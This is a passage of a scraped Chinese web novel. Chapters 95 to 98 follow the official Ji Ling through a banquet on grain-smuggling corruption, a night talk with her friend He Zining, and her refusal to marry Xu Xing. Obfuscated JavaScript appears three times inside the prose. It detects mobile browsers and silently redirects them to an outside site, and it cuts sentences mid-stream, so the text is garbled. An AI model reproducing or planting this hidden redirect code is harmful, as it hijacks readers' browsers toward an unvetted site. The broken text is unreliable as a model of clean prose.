应明继续方才的话:“李书言自两年前升任了左参议,行事愈发猖狂。且不说此次倒卖漕粮一事,光是这两年在陕西,就替他那好岳父干了不少昧良心的事情,仗着这条关系大肆敛财。” 季泠一整晚都没吃东西,侍女替季泠端来一盘茶点,奉到她面前时,低头耳语道:“是胡大人。” 季泠诧异转头,看了她一眼,眼生得很,她并未见过。 季泠伸出右手,衣裳碰到烫伤,她“嘶”了一声,只好换成左手。捻起一块儿马蹄糕,抬手掩面,咬了一口,含糊不清地说着了什么,侍女看了她一眼,答:“是。” 季泠轻轻咀嚼,说话的人从应明转为了应惟绅。 “陕西司员外郎报,李书言以多地膏腴为由,广增其赋,翻至两倍。而呈交至户部的账册中,并没有这些多增之数。当年西北战后,又以边防开支过大为由,额外提编。李书言麾下有一幕僚,极擅长此道,以金银贿赂,操手陕西各大粮行,排挤中小粮农粮商。税粮流入陕西,粮价却日渐攀升,违反市道,多余之数,尽入囊中。” 所以,分明是河南蝗灾,楼饮晴在陕西的生意却莫名其妙一落千丈。 原来全是因为李书言下场,为一己私利干涉农商大事。 而应惟绅在说及此事时眉头紧皱,格外不满。看来,李书言那幕僚是做了一手祸水东引,将与陕西应家有关的粮行推在外头。 季泠又转头看了看应明,他倒是毫不遮掩,面露怒意,想来是此事让他在陕西吃了大亏。 应明感受到季泠的眼神,还未收起恼怒,直直撞上季泠平淡的眸子,而后迅速一闪,转头往她左侧挪动视线。 季泠下意识随他看去,余光里,徐行往后略靠了靠,对览风耳语几句后,览风离开了。 季泠顺势转头,看向身后侍女,侍女领会她的意思,替她布菜。 今日虽然来得意外,但她也算收获不菲。 若是要她自己去打探,也不知道多久才能摸清胡善樘这错综复杂的关系。 “因湖广大旱,赈灾粮多数从南直隶就近运往湖广各州府。借此空档,有人将湖广留仓陈粮全部倒卖,以至于南直隶多处粮价飞涨。” 万慎说完,黄易兴接上他的话:“不仅粮价,连带着茶盐市价也起了波动。似乎是,有人想搅乱浑水……” 徐行说:“是都察院。” 语罢,黄易兴大骇,急忙问:“徐大人所指的是……” 徐行答:“巡盐御史与巡茶御史,是胡善樘昔日门生,胡善樘在江西任职时,他们两人是辖地考生,拜入胡家门下。” 王宣阳追问:“那,漕粮呢?今年湖广漕船全数沉没,并不是小数目,哪怕是官府押运,也是声势浩大,行径无法遮掩。胡善樘与李书言是如何做到,把所有漕粮都转运到陕西,又能神不知鬼不觉的?” 这个问题仍然是未解之谜,季泠从姚家得到的证据虽多,却都没有提及漕船。 谭谦、应惟绅、徐行、季泠与傅停枫在京城,彼此之间的消息倒还算通畅,剩下几人四散各地,赴京不久,必然要就这漕船悬事认真讨论一番,看看究竟会是谁在湖广替胡善樘只手遮天。 览风从屏风后现了身,林微派来的人紧随其后。 不休论声中,季泠最后饮了一杯茶水,润了润嗓子。 “胡竞。”有人说出一个名字。 在一众沉厚男声中,这道声音像雨打在窗扉上,高远广旷的秋天就有了明确开端。 季泠接受所有人对她或惊异或平和的审视,继续说:“胡竞出自胡家旁枝,若论辈分,应当是胡尚书的远房侄子。春夏之际,本是航运兴盛时,湖广水网密布,商船如林,不会有人追究。除商船外,还有官府用船。漕运总督驻于淮安府,此次漕船未到淮安就沉没,压粮丁役亡命江底,胡竞揽下追查一事,同时兼管今年黄河治理。” 再多的粮食,分化到商船与治河压粮调用的沿途卫所船只中,也如大海捞针。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446357|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>万慎问她:“此人现在可还在应天府?” 季泠说:“尸体还在。”话语一出,所有人都面若寒霜,连徐行都无比震惊,朝她看去。 她半张脸隐在夜色中,烛光也照不透的宁静里析出淡淡的、月晕一般的轮廓,是浓眉,直鼻与下颌,像一樽品相极佳的象牙雕件。 这样的人坐在这儿,才叫在场众人恍然发现,富有生机的青涩与世事锤炼的从容,原来可以同时在同一人身上融合显现。 长久未言的傅停枫难得说话:“谁想杀他?” 宴厅浸入无声中,几晌后,谭谦悠悠道:“怕是很多。” 想要得到更多利益的,想要杀人灭口的,想要反抗报仇的。江底死里逃生的丁役,压粮不力被治罪的兵卒,听令造船却受无妄之灾的工匠,很多。 若要追溯过往种种,远远不止。 “去年,胡竞手下人手持勘合,到凤阳府下辖驿站留宿,因其要求远超过条例,驿夫不能满足,他们便将驿站马匹典当,威逼驿夫交付‘免打钱’。之后,更是借由驿站行茶盐走私之举。驿役苦其久矣,夜半将那几人打死后,前往衙门自首。之后,凤阳府开始惩治驿递,严管城门。胡竞假死脱身,往凤阳府去,混入城内。没有通行文牒,他无法出城,眼下仍被拘在凤阳府内。” 王宣阳迫切问她:“既然已经知道他在凤阳府,为何不将他控制住?” 季泠笑了笑,带着几分无奈,“名义,下官这儿给不出。” 万慎、王宣阳与黄易兴相视须臾,明白了季泠的意思。 胡竞毕竟是胡家人,她给了线索,可惹火上身的事情,她不做,也不想让帮她得到胡竞踪迹的人再过多掺入。 眼下,他们知道这个消息,不出几日,胡善樘那儿迟早也会知道,他们要抓紧时间了。 夜渐凉了,谭谦与应惟绅起了身,厅堂隔扇门大开,各家侍从纷纷入内,此起彼伏的吩咐与应答声响起。 季泠由那位侍女搀扶起身,退至正厅旁的隔间内,林微已经在此处候着。 季泠往里处走几步,背过身,喧嚣被尽数抛却。 “接到了吗?” 林微点点头,“还在老地方。” “马车呢?” “备好了,换了一辆不起眼的,没人能看得出来。掌柜的那儿已经打好招呼,照例开侧门,马车直接进去,不必下车露脸。” “好。” 林微又细语几句后,先去替她照看接她的船只。 外面声音渐渐小了,谭谦与应惟绅的声音已经远去,余下几人仍在聊着。 没有他们二人在场,剩下几人聊得格外开怀,这师门感情甚笃,令她惊讶。 季泠站在隔间与正厅之间,陷入沉思。 纱帘扬起,一人入内,季泠抬头看去,不禁皱了眉。来人径直走向她,湖蓝丝绦在他膝下晃着,是十足的雅士气韵。 “烫得严重吗?”徐行拉住了她的手,声音压得很低。 季泠撤了一步,手中滚过冰凉。是一瓶烫伤药。 “别躲在我这儿,这么多眼睛看着呢。” 徐行往外看去,抬颌说:“人的眼睛是朝前长的。” “可朝堂中人,眼前都有窥探四周的镜子。” 一双眼睛,却似万双,怎么躲也躲不开,怎么藏也藏不好。何况,眼下,有人不想藏了。 徐行略叹了气,在云纱帐子后,轻轻握住她的手。“航青,你别怕,就算他们察觉什么,也不会在外多言一句。” 季泠垂眸,不想多说什么。眼下她心乱如麻,只想离开此处。她要找个人问一问,说一说,把那阵堵在心头的塞子拔了,让自己喘口气儿。 “你今日不该喊我来。” 徐行了解她,若是季泠知道今日来的都是什么人,一定是不肯的。 他紧了紧手,朝她靠近一步,季泠浑身僵住,死死盯着外头的动静。“今日确实是意外,可你今日表现得很好,不是吗?多认识些人,对你没坏处的。” 季泠当然知道没坏处,甚至好处多多。 可是,他们这些鬼精的人,她如何能藏住?哪怕是齐无戈,只一眼,都看出端倪。 王宣阳的示好,傅停枫的试探,应明的探究,还有林清许的暗示。 季泠看向徐行,突然生出对未明前路的茫然。 厅内,应明在嚷嚷着徐行的名字,一声声徐润旻穿过轻云纱,再多来几声,就能化风吹扬,暴露隐秘。 徐行无奈一笑,他们三人一同长大,应明的性子他再清楚不过。若是他再不出去,应明怕是要把整座千帆榭都翻过来了。 徐行安抚地摸了摸她的头,低声说:“在这儿等我,我有话要与你说。” 那双眼是一池澹澹柔水,季泠差点陷进去了。她低下头,没应声,徐行认作是点头了。 等徐行送走各位先人,一转头,哪里还有季泠的影子? 徐行暗叹,看来真是生气了,此事是他不地道,该要去向她请罪。 那番话,等过几日再说也不迟。 96. 听挚友细析感情事 永和巷子里,瑞元客栈内,季泠推开门,何咨宁已经坐在其中。 见是她来,一向平淡的人也终是展露笑容。 “泠儿!” 季泠慢吞吞走向她,听她说道:“你瘦了…精神怎么这般差?心情不好吗?” 一晚上的困惑,年初至今的苦熬,她坚持这么久,何咨宁的一句话,季泠瞬间泪水决堤。“咨宁……” 胡同里更声响过,到下半夜了。 何咨宁听季泠没头没尾说了好几日,终于理清她的意思。 帐子掩盖的一方床榻内,何咨宁看着季泠肩上的伤,叹了一口气,“所以,你就把自己弄成这样?” 偌大京城里,林微也好,徐行也好,兴许都陪她走过人生中至关重要的阶段,也对她的秉性十分了解。 可,唯有这么一人,自小与她一起长大,见过她追逐海浪的模样,也见过她暗夜刺杀的模样。 只有何咨宁知道,季泠从小就是胆大的人,却也是胆小的人。她怕苦,怕痛,怕黑。 季泠不知道怎么说,只是觉得很委屈,只好低着头不说话。 何咨宁接过她手中的瓷瓶,替她上药。 “他给的?” 季泠应了,“嗯。” 冰凉凉的药贴在伤口上,渐渐化开,季泠看着眼泪滴在里裤上,一滴滴的,没完没了了。 何咨宁是万万想不到,季泠会和徐行搅和到一块儿去,难怪她回京述职这几日,吏部官员似乎对她多有照拂,想来是托了她这好友的福,得那位吏部侍郎的关照。 何咨宁将季泠散落的头发撩开,背后深深浅浅的伤痕全部展露。 何咨宁看了她一眼,没有问起,只是突然提到毫不相关的人。“泠儿,你还记得,谢令欢吗?” 季泠回忆了一下,“是当年我们去找饮晴时,她引荐的那个官员?” “正是,他当年对饮晴可是情根深种啊,追着她死活都不放。” 何咨宁顿了一下,季泠就猜到了结局。 她问:“饮晴回南直隶了?” 何咨宁说:“谢令欢,取新妇了。” 季泠不可置信,腾地转身,何咨宁手中的木棒来不及收起,从她伤处划过,疼得她咧开嘴。 “新妇?他那时那副模样,可是非饮晴不要啊!哪怕饮晴不乐意与他定下,怕牵扯不清,他还死乞白咧!这才多久,他就有新妇了!他移情别恋如此迅速吗!” 何咨宁苦笑:“何来的移情别恋,谢令欢新妇是湖广左参政的孙女。” 原来是这样…… 一时间,季泠也不知道,是当日真被谢令欢苦等多年而感动的楼饮晴可怜,还是那位因利益而嫁入谢家的湖广左左参政之孙可怜。 若是谢令欢知道,楼饮晴消失的那数年是在公主府,归来的楼饮晴其实不仅仅是东南巨富,是否会追悔莫及呢? 季泠想了想,试探问:“饮晴,就是因为此事,离开湖广的?” 何咨宁摇摇头:“你知道她不是那样的人。一个男人而已,又不止谢令欢一人苦候她多年。只是,毕竟有过那么一份期待,自然难免伤心。” 有期待,就会伤心……那她是否太无情了些?她对得起徐行的期待吗? 季泠当即怔住,何咨宁尚未察觉,只继续说:“若是谢令欢断了,那就也罢了。偏偏他还来找饮晴,只说婚姻不过是宗族责任,他的心全在饮晴身上,叫她一定要明白。” 季泠怒骂:“简直可笑!这样的真心,他怎么不剜出来看看?倒也好叫我们称他一句痴情郎,只会空口无凭地说大话,好像他那颗心比金子还珍贵似的!” 何咨宁又说:“不必等谢令欢反应,他那位新妇的祖父,湖广左参政,就得知了此事。对内只让自己孙女多照顾着谢令欢,将他的心留住。对外却找了饮晴的麻烦,将她在湖广多地的产业都寻由头封了,损失惨重。” 季泠不可置信:“合着到头来,谢令欢置身事外,倒叫两个女人相互争斗,两败俱伤?” “正是因此,饮晴不得不暂时撤出湖广。她托我给你带口信,日后湖广之事,她怕是鞭长莫及了。” 季泠无奈叹气,若是楼饮晴不在湖广,那她后续许多事情的推进阻碍就更大了。湖广距京甚远,她不能时时前往,即使快马加鞭、飞鸟传信,可若是有什么意外突然发现,她怕是来不及反应。 眼下她只能从长计议了,必须要将税银案彻底解决,以免后顾之忧。 季泠又说起前几日千帆榭中众人商议一事。 “如今那胡竞出不去凤阳府,可他绝不会坐以待毙。此人胆大包天,之前敢主导漕船,杀了那么多人掩盖此事,若是逼急了,只怕他会反扑。” 何咨宁握住季泠的手,笑得平和:“放心,我既想法子让他入了凤阳城,那他与他的信使,绝不可能安然走出去。” 季泠想了想,说:“你记得遮掩好你的人,不要暴露你我关系。你眼下在凤阳孑然一人,远比我艰难。南直隶既然有更合适的人接手此事,我们大可以坐收渔翁之利。” 万慎、王宣阳和黄易兴都想插手此事,倒不如做个顺水人情。假意将胡竞放出凤阳,再由他们出手,凤阳即可从中摘脱。 何咨宁眼神一闪,看向沉思的季泠,“既然他的人可以为你所用,你又为何如此抗拒?” 季泠回过神,苦笑道,“你知道的,人生万事,得失相倚。户部做账都要讲求收支平衡,可我没什么能给他的。” “泠儿,感情之事,如人饮水,我不多加置喙你的选择。只是,你若想要我的建议,我必先问你一句,你对徐先生,是什么感情?” 季泠懵然不解,只听着好友缓缓道来:“泠儿,我们从宁川走出来,我们拥有的过去荒芜又贫瘠。之后所见一切,无论是公主府还是朝堂内,镀金的沙砾都是莫大的诱惑。我们不可避免去向往那些我们幼时曾渴盼的,我们未曾有过的地位、财富、智慧、声誉。” 何咨宁说得很慢,季泠的心渐渐静下来了,跟着她的话,将自己摘离她与徐行的这半年纠缠中,置身事外去旁观。 “徐大人曾是我们的先生,阅历绝非你我可比。无论他实际是什么样的人,当他初次以先生的身份出现在你面前,他身上就已经镀满了你期盼的光辉,你是否不自觉地被他迷了眼?” 季泠迟疑了一瞬。 “如今,这番话,我冒着不敬之罪,与你说。” 黑沉沉的夜里,只有一盏犹如将死之火的壁灯燃着,客栈很安静,永和巷已经睡得昏天黑地。 “徐家世代为官,徐大人位居三品,手眼通天,他看似温和,可真正与世无争的人,怎么可能在各方派系中如鱼得水?洞幽察微,拿捏人心,他的长处,却是你一贯的弱点。” 季泠明白,何咨宁所言十分公正,她不能自欺欺人。 自她入仕起,她就告诫自己,该要把情意和利益分得彻底,也该要明白,树有千叶,人有万面。徐行究竟是什么样的人,她其实心知肚明。 他是静水,看似无害,诱人淌入其中。可若她想游离,那周身波浪怎会放她离开。 “从前在书院,你就说过,你想成为他那样的人。而今,他是吏部天官,你是户部郎中,他一句话可以办成的事情,你要付出极大的代价。泠儿,你从前羡慕,景仰,敬佩,因他的特质有你未曾见过的风景。而今日你所得所成,若是由七年前的你去看,也会心向往之。” 季泠明白,何咨宁在告诉她,不要把崇拜误作为爱。亦是在告诫季泠,徐行对她的好,在何咨宁这样的旁人看来,未必可靠。 “咨宁,你信真心吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446358|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何咨宁默了许久,轻声说:“信。” “可泠儿,你在绝壁之上寻逢生之处,会指望那虚无缥缈的真心吗?” “兴许它如意外横石,会让我走得更稳?” “也如疾风,瞬息万变,会让你跌得更惨。” 何咨宁任她煎熬,狠心将话说绝了,“我知道,这几年,你在京城一个人,很不容易,你怕孤单。泠儿,自我们选择进入公主府那日起,就注定是孤单的。哪怕你我,如今也不得不天各一方。” 夜行独航,注定孤单,以终为始,方不迷途。她的好友们,各奔天涯,各有职责,她亦有自己的路要走,徐行要把她带入他的权力世界,那不能够。 季泠与何咨宁相视许久,月亮离开的声音被她们敏锐捕捉。 季泠想到,她们二人不过相聚短短几日,将要再度分别,下次见面又不知道是何年何月,不禁哽咽。 “咨宁,若是有机会,你愿意调回京城吗?” 何咨宁知道,她指代的是什么,于沉默中摇了头。 “为什么?” “不适合我。” 季泠轻轻抱住她,闭上眼睛。 睡意朦胧间,何咨宁听到她喃喃低语,“我想看看大海。” 她想家了。 哪怕在那儿没有过多值得眷恋的回忆。 人的情感若是无从安放,最后的最后,都会梦境里游回最初的地方。 狭小床榻上,何咨宁摸着腕间的珠链。那串珠链以琴弦为绳,半端红线缠绕,半端穿着烟紫玉珠。 细尘一般轻的光照入床帐子里,烟紫玉珠倏尔现出天色般的澄明。 天色欲暝之际,季泠在城外送别了何咨宁。 城郊路旁,早点棚子中,新磨出的豆浆冒着热气。 有一人背着一把箫,坐在棚子里,再一次目送何咨宁离去,却从来不敢亲自送别。 待到那架马车远去,车辙越拉越长,影子融入朝晖时,连天芳草在跃动金光里渐渐枯黄。 他在陈旧的木桌上放下几个铜板,朝着那道光走去,走到季泠身后,看着那架奔向凤阳府的马车。 他的大哥也是这样,在景亭里看着季泠走出月洞门,渐渐从他们的世界中淡去痕迹。 齐无咎送齐无戈回山东时,问他,是否真要决定为父亲守孝三年不娶妻。毕竟,他现在是抚远侯,一门荣耀的延续,全系于他一人身上。 齐无戈牵着缰绳,顺了顺马儿的鬃毛,往六部衙门的方向看去。 他说,山东风大浪高,娶亲也是耽误好人家的姑娘。他看出大哥想要劝他,可是刚张口,又笑了笑,作罢了。 若干年前,齐无咎旁观着,齐无戈见到季泠后,从万分欣喜到心神俱碎。 他在想,季泠实在太愚蠢,也太狠心,怎甘心放着抚远侯府里的好日子不过,去外头寻什么莫须有的价值。 等他自己如今的年岁,才终于是明白,不是所有的感情,都需要一个结果。藏在心中的纯粹,若是真的掏了出来,见了现实的风霜,最终还是会枯萎,推得人两相厌倦。 他只觉得自己和大哥怎么如此不顺,都一腔热血地喜欢上宁川鹰隼,却又怎么样也留不住她们。 远道上,凉风吹人望不尽天涯。 齐无咎说:“她好吗?” 季泠点了点头:“宁川太小,京城太大。她在那里,刚刚好。” 季泠转身,往城门方向走去。 “如果有机会,就去看看吧。天之广,地之阔,总有更好的去处,叫人忘记拘于过往的忧愁。” 愁赋予天,伤诵于地。风卷而过,万事皆休。百年过后,史书这样赞颂:凤阳知府何咨宁躬耕一生,万民感戴其德。 抚远侯齐无咎接任总兵,终身驻守闽浙,清退倭寇,保民平安。 97. 心相映奈何意相离 季泠回到浮云堂时,看见了意料之外的人。 可想想却又情理之中,只因她自宴席那日起就没回过浮云堂,白日去各处出公务,下了值就躲进瑞元客栈里,他找不到她,必定不会善罢甘休。 只是,跨过院门,两侧竹林沙沙作响,季泠站在石板路中,看见那个人站在无花果树旁,宁静,平和,周身缠绕着绒毛般的光晕,她心口突然一张一合,一切预设都无影无踪。 徐行看见她回来,终于是松了口气,抬步朝她走去。 “去哪儿了?”没有责备。 徐行见她不说话,行顿神惫,似乎累极了。 季泠拖着步子,没有给他任何眼神或回应,直直往屋里走去。 在将要觉得灵魂起飘时,一双大手揽住她,又将她拽回地面,要她面对现实,季泠想要挣脱,肩膀一扭,触及伤患处,不由闪躲一下。 还来不及反应,季泠已经被徐行拖进里间。 她几乎一夜未眠,反应也迟钝起来,直到徐行不顾礼节,扯开她的衣服,她才愣愣质问,“做什么?” 好在,他是有分寸的,只将衣裳松至将将能看清烫伤的地方,立刻就住了手。 其实那伤并不严重,也幸亏如今天气渐凉了,只是白日要闷着伤处,不大透气,还是有些张裂的痛意。 徐行单膝半抵在榻前,将她外袍褪去,中衣拉至臂下,看清她的伤,确实不严重,可一片不融于玉色的斑斑红迹,覆合着如贝壳内部淡淡的光痕,似乎烫得皮肉分离,他看着都不忍皱眉。 “药呢?” 季泠知道越不过他去,索性拽过一个软枕,斜赖在榻上,半阖着眼,想了好久,才说:“落在外头了。” “哪里?” 季泠内心一叹,知道他必定要问到底了,索性一句话堵住他的嘴:“咨宁回来了。” 解释了她消失的原因,也解释了她疲惫的原因。 昨日白天,她们已经将胡竞的事情解决了。出了凤阳府二十里地,胡竞就遭了土匪头子的绑架,如今在京城这儿,他已经“不知所踪”。 徐行自然也得到了消息,后手如何布置,她可没心思管。 夜里,她与何咨宁说了一整晚的话,送别她后,还分神去找林微商议安顿那些大难不死的压粮丁役、造船场夫与其余为她提供线索的人。 眼下,她能搭理徐行,算他在她这儿的地位极高,面子极大了。往日她若是累到这样地步,都是完全不愿理人的。 榻上的人阖眼蜷缩,只想着他究竟何时才能离开。 “季航青。”季泠骤然心慌,“你在躲什么?” 季泠不说话,只是略睁开眼,盯着软枕上绣着的忍冬花。 她听见徐行轻轻叹了一口气。 “我有话要对你说。” 季泠此刻接话倒是极快:“我想睡觉。” “好。” 话音刚落,她脚底一凉。徐行把她的鞋脱了。 一阵柔而清幽的香气从身后把她笼住,大手覆在她手臂上,压住她的中衣,以免碰到她的患处。 “我陪你。”徐行的声音从耳后传来。 季泠暗道,她就不该扯一句话来敷衍他,本想着打发了他,她还要继续等林微回来商议后事。现在她不睡也得睡了。 可还没想好后续该如何应对他,精神就迅速松懈下来,毫无意识,昏昏沉沉睡去。 直至感受到她渐渐平缓的呼吸,徐行才睁开眼,静静看着她。 季泠醒时,天已经大暗了,屋子里没点灯,黑摸摸的,想来是底下人知道徐行在里面,不好进来。 她睁开眼睛,无神放空多晌,借着窗外透进来的碎光,大概分辨着事物轮廓。 才刚醒来,她又忍不住开始怪自己,怎如此没出息,反而真睡着了。 黑暗中,季泠脑子里各类剧情轮番上演,最后撇了撇嘴,对自己咬牙切齿起来。 直到季泠神志终于恢复清晰,才发现,眼下的一切有多么荒谬—— 不知何时,她翻过身,窝在他怀里。睡前晾着的伤口还袒露着,徐行的掌心垫在她手臂下,拇指指腹压在她肩骨处,以免她睡时蹭到疼处。 她该想到!她一睡着,什么动静都能闹出来的! 从前她与何咨宁同榻时候,第二日瞧见她那两个大大的黑眼圈,才知道,她睡着时对着何咨宁拳脚相向,骂骂咧咧…… 何咨宁怎么也喊不醒她,而她浑然不知。 现在,更不合时宜的事情发生了:她的腿勾在徐行身上… 季泠极力控制动静,可在她刚把腿抬起,想将自己推离徐行怀抱时,身前的人已经察觉。 “醒了?”徐行的声音格外疏懒,着实季泠吓了一跳,下意识抬头看去。 “嘶…” 她的头顶结结实实撞到徐行的下巴,她听到两排牙齿撞到一起的声音,感觉自己也牙酸了起来。 “没事吧?” 睡觉不老实就算了,怎么还笨手笨脚的,这下她真是将脸丢尽了。 “还行,牙没掉,下巴也没脱臼。” 正常的回话中夹了一丝笑意,季泠突生恼怒,她总在徐行面前落面子,他分明不是爱笑的人,却偏偏喜欢笑话她。 “我去点灯。” 季泠挣扎着想起来,被徐行又按了回去:“不必,这样就好。” 季泠咬咬牙,还是推开他,寻来火折子,刚吹亮,蜡烛就被身后伸来的手接去,稳稳放在灯架上。 火光亮起的瞬间,屋外脚步声靠近,季泠立刻抄起挂在衣架上的鹅黄长衫,白芨已经候在栏杆罩边。 想来她们该着急坏了,就等着里间的动静呢。季泠想着,看来还是需要挂上帘子遮掩一番,不然她的侍女们总是不免尴尬,连回话都不方便。 “大人,林姑娘在书房等您。”季泠应了声,想起午前吩咐林微的事情,立刻提步走去,又将徐行忘在身后。 书房内,林微见季泠慵懒模样,长发乱糟糟的,没梳理清楚,似乎是刚睡醒。 “怎么了?”季泠坐在书案边,林微呈了来信,季泠看后,脸色瞬间凝重。 “动手了?这么快?如此等不及吗?” 林微是急急赶回来的,心跳得极快,“是,好在你提前准备,调虎离山,否则那些丁役怕是再度死于他们之手。” 季泠冷笑道:“他们何只是想杀那些丁役,怕是想借此警告我们。你猜,若是我们这儿有人手脚不干净,在赈灾时出了错,或是动了歪心思,他们会不会趁机捏造罪责,对付我们?” 季泠取下灯罩,执信引火,看着信纸渐渐蜷曲,多个名字在其中化为灰烬。 “他那老父亲在活着的时候,就与公主不对付。他想杀我,也不是一天两天了。自我进户部那日起,他就看我不顺眼。” “可是,他眼下已经被关押起来…” 季泠往后靠在椅背上,摇了摇头:“京城啊……我们还太嫩了点,他们多代累积的势力,岂是你我几年能够随意瓦解的。他仗着父辈恩情,又仗着早年伴读身份,在皇上跟前为虎作伥多年,我就不信,皇上不在意。” 昔日那位张大人不就是如此吗?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446359|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林微突然想起什么,笑了笑说:“听说,他被捉拿后,他那新妇不但没有哭哭啼啼,反将家族权力握在手中,还暗中资助了她家乡的一位举人,将他的人脉引给那举人。” 季泠一听,来了兴趣:“哦?举人?年轻人?” 林微说:“年岁相仿。” “那当是青梅竹马的缘分吧……” 季泠提笔,写了封信,盖了印,封了泥,交给林微。 “姚知府和曲通判死了,咱们先前的准备需要改变一下……武昌府对我们后面的布置很重要,让人务必亲自将信交到黄同知手中。” 林微点了头,又再次确认一遍:“牢里那位的手……” “盯着点,煽风点火,给他浑水摸鱼的机会。” “不阻止吗?”季泠摇头,沉思中,将方才落在身上的纸灰慢慢吹落,“兴许我还要借他的手,送他上西天。” 林微走出书房,看见次间坐着的徐行,猛地一顿,回头看了看书房里的人。 徐行一直在这儿?可她不是刚睡醒吗? 林微面色复杂,行了礼道:“徐大人。” 徐行放下书站起身,嗯了一声,“议完事了?” “是。” 徐行即刻抬步走入书房,“吩咐下面的人,不要进来打扰。” 季泠站在随墙书架旁,指尖划过排排书脊,陷入沉思中。 徐行出现在她身后,微微屈膝,贴在她的脸侧,“看什么呢,这么出神?” 顺着她视线看去,是一本《山海经》。 “没什么。”季泠说完,拢回思绪,才发现徐行双手撑在她身侧到书架上,她只能在他的禁锢方寸之间转身。 “以后不回家,也要说一声。” 季泠皱眉看他,他额间深蹙着,柔和的眉毛被担忧拉扯得平直。 “你不在衙门,又不回家,我很担心,还以为你……”徐行停了停,似乎后怕极了,“最近不太平,你出门带上护卫,一定要小心。” 季泠低头,慢吞吞说了句“知道了”,徐行这才展露笑容。 “你今日来,就是为了亲自看看我在不在家?” “当然不是,”徐行看出来,季泠有心事,可能她是真的累了,不若寻个由头,带她休息玩乐一番。 才二十出头的姑娘,日坐愁城的模样,难免让人生出春花凋零的难过。 “过几日是乞巧节,今年京城有许多人家捐了钱,说要大办一场。永定河已经布置起来了,许多姑娘会去那儿放水灯,结彩楼处供了泥孩儿…我想着,左右那日没什么要紧事,我们一块儿看看去。” 季泠怪异地看了他一眼:“你还爱凑这样的热闹?” 徐行当然是不爱凑热闹的,可她喜欢热闹。 几日前,徐夫人就与嬷嬷说,今年乞巧节办得很盛大,许多官家女眷都出了钱,为织女星设祭添灯。读书人家则会祭拜魁星,以盼高中。 徐行去垂芳院请安时,恰好听见此事,就说,今年徐家也参加吧。 徐夫人惊异万分,问他怎么转了性子。 徐行说,今年不顺平,趁此年中佳节,热闹热闹也是好的。 徐夫人觉得有理,便准备去找檀山巷里其他官眷商量乞巧节的安排。 季泠摇了摇头,索性靠在书架上,“我不想去。” 徐行将她散乱的头发理了理,她方才睡醒了就过来,都没得空照照镜子,脑袋上的头发像风滚草一样炸开,方才垂着眼,实在可爱极了。 “为什么?” “七月半,中元节,忌夜行。” 98. 惹红尘不欲坠红尘 中元节?这与乞巧节相差好几日吧? 徐行问她:“这是什么说法?” 季泠解释道:“七月是阴月,鬼门关开,小鬼现世。从前在家时,母亲说,七月晚上不要出门。” 季泠想了想,又觉得这样说不大妥:“我们那儿看中这些。七月半是大节,中元普渡,遍插明香,沿路施食,上席祭神,下席敬鬼。从小,我母亲和阿婆每年都会念叨,七月晚上早回家,不能在外边儿走。若是要走夜路,至少也该过了七月半。” 徐行倒是不知道,她们那儿有这样的习俗。 季泠的头发披散在肩上,像一团缭绕青云,徐行的手顺着她的长发,落在她的腰上,季泠被那力道带得贴近他几分。 徐行说:“那就八月吧,中秋节,或是你生辰……” “徐行。”季泠打断他,“我知道你在想什么。” 徐行微愣,复又笑道:“你竟如此敏锐。” 伸出的手还未抚上她的脸,就滞住了。季泠撇开头,可他还是看清她的表情,若是她真心高兴,绝对不是这副模样。特别安静,特别顺从,也特别冷淡。 季泠感受到,腰后的手愈发用力了,按照往常,她该生出畏惧,及时住嘴。可不知道为什么,今天她就是想说,想把所有事情说清楚,想让徐行知道,她就是一个自私自利的人。 “我不想成婚。” 徐行想要做什么,她怎会不知道。 先是让她见了那些与他利益息息相关的人,再是现在,安排她与他佳节夜游,下一步,想必就是直接带着她去徐家,与徐家父母开诚布公。 她是知道他的,做事向来深思熟虑,准备齐全。 她如今洞悉了他的计划,料想他怕是早有此心思,看似徐徐图之,实则步步紧逼。 在他计划中的人与事,总以为他温吞无害,殊不知,当这个想法冒出时,就已入其縠,再难转圜。 所有事,季泠都愿意低头,愿意随着他的步子走。可独独这件事,绝对不行。 她的未来本不确定,她要把握住一切实际的东西。而成婚,将会把她的所有计划打乱,她的生活将再次失序,她必将花费无数精力去重构那个难以明辨的将来。 所以,季泠仰起头,直视那个学识深于她,身份高于她,权势大于她的人,声音很轻,却无比稳当,“我不会成婚,徐行。” 完全意料之外的回答。那样冷酷。 徐行彻彻底底的愕然,季泠从未在他脸上看见过如此不加遮掩的外放情绪。 “什么意思?航青,你不愿与我共度余生吗?” 季泠偏过头去:“先生,你当年在建州,是否想到过,八年后的今日在做什么?你心向之志在实现过程中,如你计划那样毫无偏倚地进行吗?” 徐行哑然。他真恨如此懂她,话音才落,他就明白她的意思了。 